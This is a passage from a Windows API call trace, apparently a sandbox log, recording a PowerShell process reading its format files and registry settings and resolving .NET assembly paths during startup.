lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.691] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.691] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.691] CoTaskMemAlloc (cb=0x5a) returned 0x1b785ef0 [0054.691] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785ef0, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.691] CoTaskMemFree (pv=0x1b785ef0) [0054.691] RegCloseKey (hKey=0x30c) returned 0x0 [0054.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.694] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x201cf71f, Data2=0x43e0, Data3=0x4425, Data4=([0]=0x83, [1]=0xf3, [2]=0x27, [3]=0x3d, [4]=0xbf, [5]=0xf7, [6]=0xc7, [7]=0x4a))) returned 0x0 [0054.695] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xfb5dfcc1, Data2=0x6ee1, Data3=0x48ce, Data4=([0]=0x93, [1]=0x6d, [2]=0x7f, [3]=0x33, [4]=0x2e, [5]=0xfa, [6]=0xc4, [7]=0xcb))) returned 0x0 [0054.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.696] SetErrorMode (uMode=0x1) returned 0x1 [0054.696] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.696] GetFileType (hFile=0x30c) returned 0x1 [0054.696] SetErrorMode (uMode=0x1) returned 0x1 [0054.696] GetFileType (hFile=0x30c) returned 0x1 [0054.696] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.697] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.697] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.698] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.698] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.699] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0xfb2, lpOverlapped=0x0) returned 1 [0054.699] ReadFile (in: hFile=0x30c, lpBuffer=0x32c6e22, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c6e22*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.699] ReadFile (in: hFile=0x30c, lpBuffer=0x32c7708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x32c7708*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.699] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.699] SetErrorMode (uMode=0x1) returned 0x1 [0054.699] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0054.699] SetErrorMode (uMode=0x1) returned 0x1 [0054.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.700] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.700] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.700] CoTaskMemAlloc (cb=0x5a) returned 0x1b785ef0 [0054.700] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785ef0, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.700] CoTaskMemFree (pv=0x1b785ef0) [0054.700] RegCloseKey (hKey=0x30c) returned 0x0 [0054.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.700] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.702] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x1f7c5723, Data2=0x783, Data3=0x4251, Data4=([0]=0x8d, [1]=0x33, [2]=0xf0, [3]=0x64, [4]=0xa0, [5]=0x4b, [6]=0xed, [7]=0x52))) returned 0x0 [0054.702] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5e28d41c, Data2=0x58d3, Data3=0x4e4e, Data4=([0]=0xa2, [1]=0x9e, [2]=0x62, [3]=0xa, [4]=0xa, [5]=0xb, [6]=0xc8, [7]=0x3b))) returned 0x0 [0054.702] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xddfb05cd, Data2=0x94ee, Data3=0x4129, Data4=([0]=0xb7, [1]=0x19, [2]=0x42, [3]=0x86, [4]=0x21, [5]=0x4e, [6]=0x81, [7]=0x27))) returned 0x0 [0054.703] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb6253106, Data2=0x4b48, Data3=0x468e, Data4=([0]=0xa0, [1]=0xd6, [2]=0x28, [3]=0x9, [4]=0x90, [5]=0xdd, [6]=0xeb, [7]=0xe4))) returned 0x0 [0054.703] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa93f22b0, Data2=0xe41e, Data3=0x49e6, Data4=([0]=0xb5, [1]=0x30, [2]=0xe4, [3]=0x7c, [4]=0x1f, [5]=0xf7, [6]=0x74, [7]=0x60))) returned 0x0 [0054.703] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x8c76665b, Data2=0xfff7, Data3=0x404b, Data4=([0]=0x95, [1]=0x90, [2]=0xcd, [3]=0xbb, [4]=0xbe, [5]=0x29, [6]=0x6d, [7]=0x7b))) returned 0x0 [0054.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.704] SetErrorMode (uMode=0x1) returned 0x1 [0054.704] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.704] GetFileType (hFile=0x30c) returned 0x1 [0054.704] SetErrorMode (uMode=0x1) returned 0x1 [0054.704] GetFileType (hFile=0x30c) returned 0x1 [0054.704] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.705] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.705] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.706] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.706] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.706] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.707] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0xaca, lpOverlapped=0x0) returned 1 [0054.707] ReadFile (in: hFile=0x30c, lpBuffer=0x3312a9a, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3312a9a*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.707] ReadFile (in: hFile=0x30c, lpBuffer=0x3313468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3313468*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.707] SetErrorMode (uMode=0x1) returned 0x1 [0054.707] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0054.707] SetErrorMode (uMode=0x1) returned 0x1 [0054.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.708] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.708] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.708] CoTaskMemAlloc (cb=0x5a) returned 0x1b785ef0 [0054.708] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785ef0, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.708] CoTaskMemFree (pv=0x1b785ef0) [0054.708] RegCloseKey (hKey=0x30c) returned 0x0 [0054.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0054.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0054.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0054.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0054.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0054.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0054.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0054.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0054.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0054.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0054.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0054.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0054.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0054.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0054.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0054.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0054.754] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0054.754] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.795] VirtualQuery (in: lpAddress=0x22bde0, lpBuffer=0x22cca0, dwLength=0x30 | out: lpBuffer=0x22cca0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.795] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4b36e50c, Data2=0x4645, Data3=0x4583, Data4=([0]=0xb2, [1]=0x36, [2]=0x71, [3]=0x1f, [4]=0x75, [5]=0x56, [6]=0x8b, [7]=0xb6))) returned 0x0 [0054.796] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x5765088e, Data2=0x36e7, Data3=0x4774, Data4=([0]=0xaa, [1]=0x31, [2]=0x1a, [3]=0x9e, [4]=0xfa, [5]=0xf8, [6]=0xd4, [7]=0x5c))) returned 0x0 [0054.796] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.796] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) 